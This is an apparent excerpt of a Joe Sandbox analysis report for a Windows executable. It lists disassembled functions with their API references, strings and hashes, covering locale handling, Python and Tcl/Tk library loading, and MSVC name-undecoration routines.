IsValidLocale.API-MS-WIN-CORE-LOCALIZATION-L1-2-0(?,?,?,00000000,?,00000092,?), ref: 00007FFEEE22FC65
GetLocaleInfoW.API-MS-WIN-CORE-LOCALIZATION-L1-2-0(?,?,?,00000000,?,00000092,?), ref: 00007FFEEE22FCB2
GetLocaleInfoW.API-MS-WIN-CORE-LOCALIZATION-L1-2-0(?,?,?,00000000,?,00000092,?), ref: 00007FFEEE22FCD1

Memory Dump Source

Source File: 00000010.00000002.1552353019.00007FFEEE1C1000.00000020.00000001.01000000.00000008.sdmp, Offset: 00007FFEEE1C0000, based on PE: true

Associated: 00000010.00000002.1552320581.00007FFEEE1C0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000010.00000002.1552452581.00007FFEEE275000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000010.00000002.1552509174.00007FFEEE2AF000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000010.00000002.1552536826.00007FFEEE2B2000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_16_2_7ffeee1c0000_56C7.jbxd

Similarity

API ID: ErrorLastLocale$InfoValid$CodeDefaultPageUser
String ID:
API String ID: 1491647067-0
Opcode ID: 42fa7465111f9485c4452dc4fb25b8dbf29c89794bf053654adb9970e6f8f339
Instruction ID: cc6827f83104ab64ecfee501873dd9c7cc1d76ab0ea283d6863623622198e531
Opcode Fuzzy Hash: 42fa7465111f9485c4452dc4fb25b8dbf29c89794bf053654adb9970e6f8f339
Instruction Fuzzy Hash: EA816A72A0864286FB10CF60F4517BD23A4AB8DB48F474436CE8D677A4DEBCE985C346

Function 00007FFEEE1DDC20 Relevance: 7.1, APIs: 2, Strings: 2, Instructions: 84libraryloaderCOMMON

Download Yara Rule

APIs

GetProcAddress.API-MS-WIN-CORE-LIBRARYLOADER-L1-1-0(?,?,?,?,?,00007FFEEE1C1679), ref: 00007FFEEE1DDCBF
GetLocaleInfoW.API-MS-WIN-CORE-LOCALIZATION-L1-2-0(?,?,?,?,?,00007FFEEE1C1679), ref: 00007FFEEE215F1E

Strings

IsValidLocaleName, xrefs: 00007FFEEE215ED0
GetLocaleInfoEx, xrefs: 00007FFEEE1DDCB5

Memory Dump Source

Source File: 00000010.00000002.1552353019.00007FFEEE1C1000.00000020.00000001.01000000.00000008.sdmp, Offset: 00007FFEEE1C0000, based on PE: true

Associated: 00000010.00000002.1552320581.00007FFEEE1C0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000010.00000002.1552452581.00007FFEEE275000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000010.00000002.1552509174.00007FFEEE2AF000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000010.00000002.1552536826.00007FFEEE2B2000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_16_2_7ffeee1c0000_56C7.jbxd

Similarity

API ID: AddressInfoLocaleProc
String ID: GetLocaleInfoEx$IsValidLocaleName
API String ID: 2353564440-3594675595
Opcode ID: e34764d3d7dd8039f0e78f5012b24970bdf88d0d388ef93113ccd5e59fef2fb0
Instruction ID: 43d69cb8e1169baea24a4bb2a3632005c3f544649bb6863b4d237b96447aa8df
Opcode Fuzzy Hash: e34764d3d7dd8039f0e78f5012b24970bdf88d0d388ef93113ccd5e59fef2fb0
Instruction Fuzzy Hash: 2C31E261B18B0282FA148F26B8106B52791AF8CBE0F474639DD9D577B8EFBCE8418341

Function 00007FF7102C50B0 Relevance: 157.9, APIs: 44, Strings: 46, Instructions: 364libraryloaderCOMMON

Download Yara Rule

APIs

GetProcAddress.KERNEL32(?,00007FF7102C5C57,?,00007FF7102C308E), ref: 00007FF7102C50C0
GetProcAddress.KERNEL32(?,00007FF7102C5C57,?,00007FF7102C308E), ref: 00007FF7102C5101
GetProcAddress.KERNEL32(?,00007FF7102C5C57,?,00007FF7102C308E), ref: 00007FF7102C5126
GetProcAddress.KERNEL32(?,00007FF7102C5C57,?,00007FF7102C308E), ref: 00007FF7102C514B
GetProcAddress.KERNEL32(?,00007FF7102C5C57,?,00007FF7102C308E), ref: 00007FF7102C5173
GetProcAddress.KERNEL32(?,00007FF7102C5C57,?,00007FF7102C308E), ref: 00007FF7102C519B
GetProcAddress.KERNEL32(?,00007FF7102C5C57,?,00007FF7102C308E), ref: 00007FF7102C51C3
GetProcAddress.KERNEL32(?,00007FF7102C5C57,?,00007FF7102C308E), ref: 00007FF7102C51EB
GetProcAddress.KERNEL32(?,00007FF7102C5C57,?,00007FF7102C308E), ref: 00007FF7102C5213

Strings

PyPreConfig_InitIsolatedConfig, xrefs: 00007FF7102C55C9, 00007FF7102C55E5
Py_Finalize, xrefs: 00007FF7102C5141, 00007FF7102C515D
PyUnicode_FromFormat, xrefs: 00007FF7102C5709, 00007FF7102C5725
PyConfig_Clear, xrefs: 00007FF7102C51E1, 00007FF7102C51FD
PyConfig_Read, xrefs: 00007FF7102C5231, 00007FF7102C524D
PyUnicode_DecodeFSDefault, xrefs: 00007FF7102C56E1, 00007FF7102C56FD
PyUnicode_Decode, xrefs: 00007FF7102C56B9, 00007FF7102C56D5
PyConfig_SetBytesString, xrefs: 00007FF7102C5259, 00007FF7102C5275
PyErr_Print, xrefs: 00007FF7102C5371, 00007FF7102C538D
PyConfig_InitIsolatedConfig, xrefs: 00007FF7102C5209, 00007FF7102C5225
PyErr_Clear, xrefs: 00007FF7102C52D1, 00007FF7102C52ED
PyEval_EvalCode, xrefs: 00007FF7102C53C1, 00007FF7102C53DD
PyImport_ImportModule, xrefs: 00007FF7102C5439, 00007FF7102C5455
Py_DecodeLocale, xrefs: 00007FF7102C50F7, 00007FF7102C5113
PySys_SetObject, xrefs: 00007FF7102C5669, 00007FF7102C5685
PyMarshal_ReadObjectFromString, xrefs: 00007FF7102C5489, 00007FF7102C54A5
PyList_Append, xrefs: 00007FF7102C5461, 00007FF7102C547D
Py_PreInitialize, xrefs: 00007FF7102C51B9, 00007FF7102C51D5
PyMem_RawFree, xrefs: 00007FF7102C54B1, 00007FF7102C54CD
PyUnicode_Join, xrefs: 00007FF7102C5759, 00007FF7102C5775
PyConfig_SetWideStringList, xrefs: 00007FF7102C52A9, 00007FF7102C52C5
PyImport_ExecCodeModule, xrefs: 00007FF7102C5411, 00007FF7102C542D
PyStatus_Exception, xrefs: 00007FF7102C5619, 00007FF7102C5635
PyErr_Fetch, xrefs: 00007FF7102C52F9, 00007FF7102C5315
PyObject_GetAttrString, xrefs: 00007FF7102C5551, 00007FF7102C556D
PyObject_CallFunctionObjArgs, xrefs: 00007FF7102C5529, 00007FF7102C5545
Py_DecRef, xrefs: 00007FF7102C50B6, 00007FF7102C50D2
Py_IsInitialized, xrefs: 00007FF7102C5191, 00007FF7102C51AD
PyImport_AddModule, xrefs: 00007FF7102C53E9, 00007FF7102C5405
PyErr_Occurred, xrefs: 00007FF7102C5349, 00007FF7102C5365
PyModule_GetDict, xrefs: 00007FF7102C54D9, 00007FF7102C54F5
Py_ExitStatusException, xrefs: 00007FF7102C511C, 00007FF7102C5138
PySys_GetObject, xrefs: 00007FF7102C5641, 00007FF7102C565D
PyObject_Str, xrefs: 00007FF7102C55A1, 00007FF7102C55BD
PyErr_NormalizeException, xrefs: 00007FF7102C5321, 00007FF7102C533D
PyUnicode_Replace, xrefs: 00007FF7102C5781, 00007FF7102C579D
GetProcAddress, xrefs: 00007FF7102C50E0
PyObject_SetAttrString, xrefs: 00007FF7102C5579, 00007FF7102C5595
PyConfig_SetString, xrefs: 00007FF7102C5281, 00007FF7102C529D
PyErr_Restore, xrefs: 00007FF7102C5399, 00007FF7102C53B5
PyUnicode_AsUTF8, xrefs: 00007FF7102C5691, 00007FF7102C56AD
PyObject_CallFunction, xrefs: 00007FF7102C5501, 00007FF7102C551D
PyUnicode_FromString, xrefs: 00007FF7102C5731, 00007FF7102C574D
Py_InitializeFromConfig, xrefs: 00007FF7102C5169, 00007FF7102C5185
Failed to get address for %hs, xrefs: 00007FF7102C50D9
PyRun_SimpleStringFlags, xrefs: 00007FF7102C55F1, 00007FF7102C560D

Memory Dump Source

Source File: 00000010.00000002.1551419790.00007FF7102C1000.00000020.00000001.01000000.00000007.sdmp, Offset: 00007FF7102C0000, based on PE: true

Associated: 00000010.00000002.1551387449.00007FF7102C0000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000010.00000002.1551462787.00007FF7102EB000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000010.00000002.1551513938.00007FF7102FE000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000010.00000002.1551513938.00007FF710303000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000010.00000002.1551594165.00007FF710306000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_16_2_7ff7102c0000_56C7.jbxd

Similarity

API ID: AddressProc
String ID: Failed to get address for %hs$GetProcAddress$PyConfig_Clear$PyConfig_InitIsolatedConfig$PyConfig_Read$PyConfig_SetBytesString$PyConfig_SetString$PyConfig_SetWideStringList$PyErr_Clear$PyErr_Fetch$PyErr_NormalizeException$PyErr_Occurred$PyErr_Print$PyErr_Restore$PyEval_EvalCode$PyImport_AddModule$PyImport_ExecCodeModule$PyImport_ImportModule$PyList_Append$PyMarshal_ReadObjectFromString$PyMem_RawFree$PyModule_GetDict$PyObject_CallFunction$PyObject_CallFunctionObjArgs$PyObject_GetAttrString$PyObject_SetAttrString$PyObject_Str$PyPreConfig_InitIsolatedConfig$PyRun_SimpleStringFlags$PyStatus_Exception$PySys_GetObject$PySys_SetObject$PyUnicode_AsUTF8$PyUnicode_Decode$PyUnicode_DecodeFSDefault$PyUnicode_FromFormat$PyUnicode_FromString$PyUnicode_Join$PyUnicode_Replace$Py_DecRef$Py_DecodeLocale$Py_ExitStatusException$Py_Finalize$Py_InitializeFromConfig$Py_IsInitialized$Py_PreInitialize
API String ID: 190572456-2007157414
Opcode ID: 3c804ccaf4812c993b4970aca99c844c8aa25bcf6244ab31ff714926eb913965
Instruction ID: 007de732a26b705d416c45ba53f4c1a18ed0113852da06de165b60f022ed310d
Opcode Fuzzy Hash: 3c804ccaf4812c993b4970aca99c844c8aa25bcf6244ab31ff714926eb913965
Instruction Fuzzy Hash: AF12D46099EF1791FA16FB44A9101B6ABA4AF49770FE41439C81E22364EF3DF58DC270

Function 00007FF7102C6EA0 Relevance: 119.3, APIs: 33, Strings: 35, Instructions: 280libraryloaderCOMMON

Download Yara Rule

APIs

GetProcAddress.KERNEL32 ref: 00007FF7102C6EB7
GetProcAddress.KERNEL32 ref: 00007FF7102C6EFD
GetProcAddress.KERNEL32 ref: 00007FF7102C6F22
GetProcAddress.KERNEL32 ref: 00007FF7102C6F47
GetProcAddress.KERNEL32 ref: 00007FF7102C6F6F
GetProcAddress.KERNEL32 ref: 00007FF7102C6F97
GetProcAddress.KERNEL32 ref: 00007FF7102C6FBF
GetProcAddress.KERNEL32 ref: 00007FF7102C6FE7
GetProcAddress.KERNEL32 ref: 00007FF7102C700F

Strings

Tcl_GetVar2, xrefs: 00007FF7102C7195, 00007FF7102C71B1
Tk_GetNumMainWindows, xrefs: 00007FF7102C73C5, 00007FF7102C73E1
Tcl_Finalize, xrefs: 00007FF7102C6F65, 00007FF7102C6F81
Tcl_MutexFinalize, xrefs: 00007FF7102C70A5, 00007FF7102C70C1
Tcl_SetVar2Ex, xrefs: 00007FF7102C7285, 00007FF7102C72A1
Tcl_ConditionNotify, xrefs: 00007FF7102C70F5, 00007FF7102C7111
Tcl_EvalFile, xrefs: 00007FF7102C72D5, 00007FF7102C72F1
Tcl_FindExecutable, xrefs: 00007FF7102C6F18, 00007FF7102C6F34
Tcl_SetVar2, xrefs: 00007FF7102C71BD, 00007FF7102C71D9
Tcl_Alloc, xrefs: 00007FF7102C734D, 00007FF7102C7369
Tcl_EvalEx, xrefs: 00007FF7102C72FD, 00007FF7102C7319
Tcl_ConditionFinalize, xrefs: 00007FF7102C70CD, 00007FF7102C70E9
Tcl_Free, xrefs: 00007FF7102C7375, 00007FF7102C7391
Tcl_NewByteArrayObj, xrefs: 00007FF7102C725D, 00007FF7102C7279
Tk_Init, xrefs: 00007FF7102C739D, 00007FF7102C73B9
Tcl_JoinThread, xrefs: 00007FF7102C702D, 00007FF7102C7049
Tcl_DeleteInterp, xrefs: 00007FF7102C6FB5, 00007FF7102C6FD1
Tcl_GetString, xrefs: 00007FF7102C720D, 00007FF7102C7229
Tcl_ThreadAlert, xrefs: 00007FF7102C716D, 00007FF7102C7189
Tcl_CreateObjCommand, xrefs: 00007FF7102C71E5, 00007FF7102C7201
Tcl_CreateInterp, xrefs: 00007FF7102C6EF3, 00007FF7102C6F0F
Tcl_MutexUnlock, xrefs: 00007FF7102C707D, 00007FF7102C7099
Tcl_MutexLock, xrefs: 00007FF7102C7055, 00007FF7102C7071
Tcl_ThreadQueueEvent, xrefs: 00007FF7102C7145, 00007FF7102C7161
Tcl_Init, xrefs: 00007FF7102C6EB0, 00007FF7102C6EC9
Tcl_GetObjResult, xrefs: 00007FF7102C72AD, 00007FF7102C72C9
Tcl_DoOneEvent, xrefs: 00007FF7102C6F3D, 00007FF7102C6F59
Tcl_EvalObjv, xrefs: 00007FF7102C7325, 00007FF7102C7341
GetProcAddress, xrefs: 00007FF7102C6ED7
Tcl_NewStringObj, xrefs: 00007FF7102C7235, 00007FF7102C7251
Tcl_GetCurrentThread, xrefs: 00007FF7102C7005, 00007FF7102C7021
Tcl_CreateThread, xrefs: 00007FF7102C6FDD, 00007FF7102C6FF9
Tcl_ConditionWait, xrefs: 00007FF7102C711D, 00007FF7102C7139
Tcl_FinalizeThread, xrefs: 00007FF7102C6F8D, 00007FF7102C6FA9
Failed to get address for %hs, xrefs: 00007FF7102C6ED0

Memory Dump Source

Source File: 00000010.00000002.1551419790.00007FF7102C1000.00000020.00000001.01000000.00000007.sdmp, Offset: 00007FF7102C0000, based on PE: true

Associated: 00000010.00000002.1551387449.00007FF7102C0000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000010.00000002.1551462787.00007FF7102EB000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000010.00000002.1551513938.00007FF7102FE000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000010.00000002.1551513938.00007FF710303000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000010.00000002.1551594165.00007FF710306000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_16_2_7ff7102c0000_56C7.jbxd

Similarity

API ID: AddressProc
String ID: Failed to get address for %hs$GetProcAddress$Tcl_Alloc$Tcl_ConditionFinalize$Tcl_ConditionNotify$Tcl_ConditionWait$Tcl_CreateInterp$Tcl_CreateObjCommand$Tcl_CreateThread$Tcl_DeleteInterp$Tcl_DoOneEvent$Tcl_EvalEx$Tcl_EvalFile$Tcl_EvalObjv$Tcl_Finalize$Tcl_FinalizeThread$Tcl_FindExecutable$Tcl_Free$Tcl_GetCurrentThread$Tcl_GetObjResult$Tcl_GetString$Tcl_GetVar2$Tcl_Init$Tcl_JoinThread$Tcl_MutexFinalize$Tcl_MutexLock$Tcl_MutexUnlock$Tcl_NewByteArrayObj$Tcl_NewStringObj$Tcl_SetVar2$Tcl_SetVar2Ex$Tcl_ThreadAlert$Tcl_ThreadQueueEvent$Tk_GetNumMainWindows$Tk_Init
API String ID: 190572456-3427451314
Opcode ID: ea7dfca1e90abb6d4d8c6eb1b798acaf406610e772db9aaa2d8df727af0780f5
Instruction ID: 5e504b644c3a40f64b5c8a86189c43ec28e7b9216a8c96b11471d89b6c973905
Opcode Fuzzy Hash: ea7dfca1e90abb6d4d8c6eb1b798acaf406610e772db9aaa2d8df727af0780f5
Instruction Fuzzy Hash: CEE1A76499DF4391EA16FB08E9141B5ABA5BF49770FC4503AC81E263A4EF3CB54CC231

Function 00007FFEEE205A78 Relevance: 82.7, APIs: 44, Strings: 3, Instructions: 459COMMONLIBRARYCODE

Download Yara Rule

APIs

DName::DName.LIBVCRUNTIME ref: 00007FFEEE205B24

Part of subcall function 00007FFEEE202124: DName::doPchar.LIBVCRUNTIME ref: 00007FFEEE202156

DName::operator+.LIBVCRUNTIME ref: 00007FFEEE205B34

Part of subcall function 00007FFEEE2023D0: DName::operator+=.LIBVCRUNTIME ref: 00007FFEEE2023EB

DName::DName.LIBVCRUNTIME ref: 00007FFEEE2060A5
DName::operator+=.LIBVCRUNTIME ref: 00007FFEEE2060C6
DName::DName.LIBVCRUNTIME ref: 00007FFEEE20610E
UnDecorator::getDecoratedName.LIBVCRUNTIME ref: 00007FFEEE206123
DName::operator+=.LIBVCRUNTIME ref: 00007FFEEE20612F
UnDecorator::getSymbolName.LIBVCRUNTIME ref: 00007FFEEE20614C
DName::operator+=.LIBVCRUNTIME ref: 00007FFEEE206158
DName::operator+=.LIBCMT ref: 00007FFEEE206168
DName::operator=.LIBVCRUNTIME ref: 00007FFEEE205B0E

Part of subcall function 00007FFEEE202348: DName::doPchar.LIBVCRUNTIME ref: 00007FFEEE202370

DName::doPchar.LIBVCRUNTIME ref: 00007FFEEE205BAB
DName::operator+.LIBVCRUNTIME ref: 00007FFEEE205BBB
DName::operator+=.LIBVCRUNTIME ref: 00007FFEEE205BC8
DName::operator+=.LIBVCRUNTIME ref: 00007FFEEE205BED
DName::operator+=.LIBVCRUNTIME ref: 00007FFEEE205BF8
DName::doPchar.LIBVCRUNTIME ref: 00007FFEEE205C72
DName::operator+.LIBVCRUNTIME ref: 00007FFEEE205C83
DName::operator+=.LIBVCRUNTIME ref: 00007FFEEE205CA7
DName::DName.LIBVCRUNTIME ref: 00007FFEEE205D4D
DName::DName.LIBVCRUNTIME ref: 00007FFEEE205D91
UnDecorator::getStringEncoding.LIBVCRUNTIME ref: 00007FFEEE205DD0
DName::operator=.LIBVCRUNTIME ref: 00007FFEEE205E4F
DName::operator+.LIBVCRUNTIME ref: 00007FFEEE205E70
DName::operator=.LIBVCRUNTIME ref: 00007FFEEE205E9D
DName::operator+.LIBVCRUNTIME ref: 00007FFEEE205EE2
UnDecorator::getSignedDimension.LIBVCRUNTIME ref: 00007FFEEE205EEB
DName::operator+.LIBVCRUNTIME ref: 00007FFEEE205EFA
DName::operator+=.LIBVCRUNTIME ref: 00007FFEEE205F06
UnDecorator::getSignedDimension.LIBVCRUNTIME ref: 00007FFEEE205F0F
DName::operator+.LIBVCRUNTIME ref: 00007FFEEE205F1E
DName::operator+=.LIBVCRUNTIME ref: 00007FFEEE205F2A
UnDecorator::getSignedDimension.LIBVCRUNTIME ref: 00007FFEEE205F33
DName::operator+.LIBVCRUNTIME ref: 00007FFEEE205F42
DName::operator+=.LIBVCRUNTIME ref: 00007FFEEE205F4E
DName::operator+.LIBVCRUNTIME ref: 00007FFEEE205F68
DName::operator+=.LIBVCRUNTIME ref: 00007FFEEE205F74
DName::operator+.LIBVCRUNTIME ref: 00007FFEEE205F83
UnDecorator::getDataType.LIBVCRUNTIME ref: 00007FFEEE205F93
DName::operator+.LIBVCRUNTIME ref: 00007FFEEE205FA3
DName::operator+.LIBVCRUNTIME ref: 00007FFEEE205FB3
DName::operator+.LIBVCRUNTIME ref: 00007FFEEE205FC2
DName::operator=.LIBVCRUNTIME ref: 00007FFEEE205FE4
DName::operator=.LIBVCRUNTIME ref: 00007FFEEE2061C1

Strings

operator, xrefs: 00007FFEEE205B19
`string', xrefs: 00007FFEEE205DC5
`anonymous namespace', xrefs: 00007FFEEE205E05

Memory Dump Source

Source File: 00000010.00000002.1552353019.00007FFEEE1C1000.00000020.00000001.01000000.00000008.sdmp, Offset: 00007FFEEE1C0000, based on PE: true

Associated: 00000010.00000002.1552320581.00007FFEEE1C0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000010.00000002.1552452581.00007FFEEE275000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000010.00000002.1552509174.00007FFEEE2AF000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000010.00000002.1552536826.00007FFEEE2B2000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_16_2_7ffeee1c0000_56C7.jbxd

Similarity

API ID: Name::operator+Name::operator+=$Decorator::getName$Name::Name::operator=$Name::doPchar$DimensionSigned$DataDecoratedEncodingStringSymbolType
String ID: `anonymous namespace'$`string'$operator
API String ID: 2020783597-815891235
Opcode ID: 3c21f6e1fc1565ac1cfb2fd5206cc140514e7d7df8721337382753e13a86550f
Instruction ID: 9fe73ebb4f78d2aa8553831f315519bff26d360c21f4da765193fdc9dcefb29c
Opcode Fuzzy Hash: 3c21f6e1fc1565ac1cfb2fd5206cc140514e7d7df8721337382753e13a86550f
Instruction Fuzzy Hash: 73228262E18A5685EB24DF60F8943FC2772BB88748F574036CA8D176EDDEA8E545C302

Function 00007FFEEE203AD0 Relevance: 73.8, APIs: 17, Strings: 25, Instructions: 277COMMONLIBRARYCODE

Download Yara Rule

APIs

DName::operator=.LIBVCRUNTIME ref: 00007FFEEE203B5F
DName::DName.LIBVCRUNTIME ref: 00007FFEEE203C1C
UnDecorator::getECSUDataType.LIBVCRUNTIME ref: 00007FFEEE203CD0
DName::operator=.LIBVCRUNTIME ref: 00007FFEEE203DCF
DName::operator+=.LIBCMT ref: 00007FFEEE203DDF
DName::DName.LIBVCRUNTIME ref: 00007FFEEE203E25
DName::operator+.LIBVCRUNTIME ref: 00007FFEEE203E35
DName::doPchar.LIBVCRUNTIME ref: 00007FFEEE203E69
DName::operator+.LIBVCRUNTIME ref: 00007FFEEE203E79
DName::operator+=.LIBVCRUNTIME ref: 00007FFEEE203E86
DName::operator=.LIBVCRUNTIME ref: 00007FFEEE203EB7
DName::operator+=.LIBCMT ref: 00007FFEEE203ECB
DName::operator=.LIBVCRUNTIME ref: 00007FFEEE203EE1
UnDecorator::getPtrRefType.LIBVCRUNTIME ref: 00007FFEEE203EF8
DName::operator+.LIBVCRUNTIME ref: 00007FFEEE203F18

Strings

float, xrefs: 00007FFEEE203B54
char16_t, xrefs: 00007FFEEE203D1A
long, xrefs: 00007FFEEE203B69
__int8, xrefs: 00007FFEEE203BF9
bool, xrefs: 00007FFEEE203C91
unsigned , xrefs: 00007FFEEE203E11
__int64, xrefs: 00007FFEEE203C79
volatile, xrefs: 00007FFEEE203ED6
__int16, xrefs: 00007FFEEE203C4E
wchar_t, xrefs: 00007FFEEE203D02
__w64 , xrefs: 00007FFEEE203C0E
__int128, xrefs: 00007FFEEE203C6D
volatile, xrefs: 00007FFEEE203EC0
<unknown>, xrefs: 00007FFEEE203D26
signed , xrefs: 00007FFEEE203E1A
void, xrefs: 00007FFEEE203DA1
const, xrefs: 00007FFEEE203EAC
char, xrefs: 00007FFEEE203B84
int, xrefs: 00007FFEEE203B72
double, xrefs: 00007FFEEE203DD4
UNKNOWN, xrefs: 00007FFEEE203CF6
short, xrefs: 00007FFEEE203B7B
__int32, xrefs: 00007FFEEE203C85
char32_t, xrefs: 00007FFEEE203D0E
long , xrefs: 00007FFEEE203DC4

Memory Dump Source

Source File: 00000010.00000002.1552353019.00007FFEEE1C1000.00000020.00000001.01000000.00000008.sdmp, Offset: 00007FFEEE1C0000, based on PE: true

Associated: 00000010.00000002.1552320581.00007FFEEE1C0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000010.00000002.1552452581.00007FFEEE275000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000010.00000002.1552509174.00007FFEEE2AF000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000010.00000002.1552536826.00007FFEEE2B2000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_16_2_7ffeee1c0000_56C7.jbxd

Similarity

API ID: Name::operator=$Name::operator+Name::operator+=$Decorator::getNameName::Type$DataName::doPchar
String ID: volatile$<unknown>$UNKNOWN$__int128$__int16$__int32$__int64$__int8$__w64 $bool$char$char16_t$char32_t$const$double$float$int$long$long $short$signed $unsigned $void$volatile$wchar_t
API String ID: 1480303775-3737837666
Opcode ID: 1927567a377c84a443f6970d25b003a49c416ab76026ca8221145af2a49d523a
Instruction ID: 4a451b4fdd7d2e0c19ffcf3fb607e6df7fe592d93f8fe0426b2846932fd0832c
Opcode Fuzzy Hash: 1927567a377c84a443f6970d25b003a49c416ab76026ca8221145af2a49d523a
Instruction Fuzzy Hash: C8D12A62E18A1294FB64CF54F8803BC23A1AB9C744F938532D98E566FDDFBCE5448342

Function 00007FFEEE207420 Relevance: 59.7, APIs: 30, Strings: 4, Instructions: 242COMMONLIBRARYCODE

Download Yara Rule

APIs

UnDecorator::getDecoratedName.LIBVCRUNTIME ref: 00007FFEEE2074A0

Part of subcall function 00007FFEEE204930: UnDecorator::getDataType.LIBVCRUNTIME ref: 00007FFEEE204978

UnDecorator::getSignedDimension.LIBVCRUNTIME ref: 00007FFEEE2074AE
UnDecorator::getSignedDimension.LIBVCRUNTIME ref: 00007FFEEE2074B7
DName::getString.LIBVCRUNTIME ref: 00007FFEEE2074DE
DName::DName.LIBVCRUNTIME ref: 00007FFEEE20750E
DName::operator+.LIBVCRUNTIME ref: 00007FFEEE20751D
DName::operator+.LIBVCRUNTIME ref: 00007FFEEE20752C
DName::DName.LIBVCRUNTIME ref: 00007FFEEE207550
UnDecorator::getSignedDimension.LIBVCRUNTIME ref: 00007FFEEE207581
DName::doPchar.LIBVCRUNTIME ref: 00007FFEEE2075C4
UnDecorator::getDecoratedName.LIBVCRUNTIME ref: 00007FFEEE2075D5
DName::operator+=.LIBVCRUNTIME ref: 00007FFEEE2075E1
DName::operator+=.LIBVCRUNTIME ref: 00007FFEEE2075EC
UnDecorator::getSignedDimension.LIBVCRUNTIME ref: 00007FFEEE20760E
DName::operator+=.LIBVCRUNTIME ref: 00007FFEEE20761A
DName::operator+=.LIBVCRUNTIME ref: 00007FFEEE207625
UnDecorator::getSignedDimension.LIBVCRUNTIME ref: 00007FFEEE20762E
DName::operator+=.LIBVCRUNTIME ref: 00007FFEEE20763A
DName::operator+=.LIBVCRUNTIME ref: 00007FFEEE207645
UnDecorator::getSignedDimension.LIBVCRUNTIME ref: 00007FFEEE20764E
DName::operator+=.LIBVCRUNTIME ref: 00007FFEEE20765A
DName::operator+.LIBVCRUNTIME ref: 00007FFEEE207669

Strings

NULL, xrefs: 00007FFEEE207546
`generic-class-parameter-, xrefs: 00007FFEEE207797
`generic-method-parameter-, xrefs: 00007FFEEE207762
`template-type-parameter-, xrefs: 00007FFEEE2077A0

Memory Dump Source

Source File: 00000010.00000002.1552353019.00007FFEEE1C1000.00000020.00000001.01000000.00000008.sdmp, Offset: 00007FFEEE1C0000, based on PE: true

Associated: 00000010.00000002.1552320581.00007FFEEE1C0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000010.00000002.1552452581.00007FFEEE275000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000010.00000002.1552509174.00007FFEEE2AF000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000010.00000002.1552536826.00007FFEEE2B2000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_16_2_7ffeee1c0000_56C7.jbxd

Similarity

API ID: Decorator::get$Name::operator+=$DimensionSigned$Name$Name::operator+$DecoratedName::$DataName::doName::getPcharStringType
String ID: NULL$`generic-class-parameter-$`generic-method-parameter-$`template-type-parameter-
API String ID: 283215372-4167119577
Opcode ID: 12bb7d13e92f06a6bf447f779c0ee1e92f81f505711a6c6b54402271d41620aa
Instruction ID: 4825383b2e156cbbc5d8192f0f69559c57658bbd302e47af62eb186d434ae87c
Opcode Fuzzy Hash: 12bb7d13e92f06a6bf447f779c0ee1e92f81f505711a6c6b54402271d41620aa
Instruction Fuzzy Hash: DCB15F22F0C60295FB15AF64E4443FC2761ABD9748F974036CA8D16AFEDEACE509C342

Function 00007FFEEE2052B4 Relevance: 48.3, APIs: 32, Instructions: 343COMMONLIBRARYCODE

Download Yara Rule

APIs

DName::operator+.LIBVCRUNTIME ref: 00007FFEEE205305

Part of subcall function 00007FFEEE2023D0: DName::operator+=.LIBVCRUNTIME ref: 00007FFEEE2023EB

DName::DName.LIBVCRUNTIME ref: 00007FFEEE2053BD
DName::operator+.LIBVCRUNTIME ref: 00007FFEEE2053CD
UnDecorator::getScope.LIBVCRUNTIME ref: 00007FFEEE2053F0
DName::doPchar.LIBVCRUNTIME ref: 00007FFEEE205412
DName::operator+.LIBVCRUNTIME ref: 00007FFEEE205422
DName::operator+.LIBVCRUNTIME ref: 00007FFEEE205433
UnDecorator::getDataIndirectType.LIBVCRUNTIME ref: 00007FFEEE2054DA

Memory Dump Source

Source File: 00000010.00000002.1552353019.00007FFEEE1C1000.00000020.00000001.01000000.00000008.sdmp, Offset: 00007FFEEE1C0000, based on PE: true

Associated: 00000010.00000002.1552320581.00007FFEEE1C0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000010.00000002.1552452581.00007FFEEE275000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000010.00000002.1552509174.00007FFEEE2AF000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000010.00000002.1552536826.00007FFEEE2B2000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_16_2_7ffeee1c0000_56C7.jbxd

Similarity

API ID: Name::operator+$Decorator::get$DataIndirectNameName::Name::doName::operator+=PcharScopeType
String ID:
API String ID: 3173522582-0
